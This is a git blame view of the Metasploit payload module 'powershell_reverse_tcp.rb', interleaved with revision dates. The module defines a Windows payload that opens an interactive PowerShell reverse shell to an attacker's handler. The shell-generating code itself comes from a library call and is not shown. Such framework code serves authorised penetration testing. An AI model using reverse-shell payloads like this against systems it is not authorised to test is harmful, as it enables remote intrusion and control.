Files
metasploit-gs/modules/payloads/singles/windows/powershell_reverse_tcp.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

43 lines
1.1 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2021-01-28 10:35:25 +00:00
require 'rex/powershell'
2015-05-13 17:36:45 +01:00
2016-03-08 14:02:44 +01:00
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::Windows::Exec
2015-05-13 17:26:21 +01:00
include Msf::Payload::Windows::Powershell
include Rex::Powershell::Command
def initialize(info = {})
2021-11-09 16:23:30 +00:00
super(
update_info(
info,
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
'Description' => 'Listen for a connection and spawn an interactive powershell session',
'Author' => [
'Ben Turner', # benpturner
'Dave Hardy' # davehardy20
],
2021-11-09 16:23:30 +00:00
'References' => [
2022-01-23 15:28:32 -05:00
['URL', 'https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit']
],
2021-11-09 16:23:30 +00:00
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::PowerShell
)
)
end
#
# Override the exec command string
#
2018-07-19 17:01:40 -05:00
def powershell_command
2021-11-09 16:23:30 +00:00
generate_powershell_code('Reverse')
end
end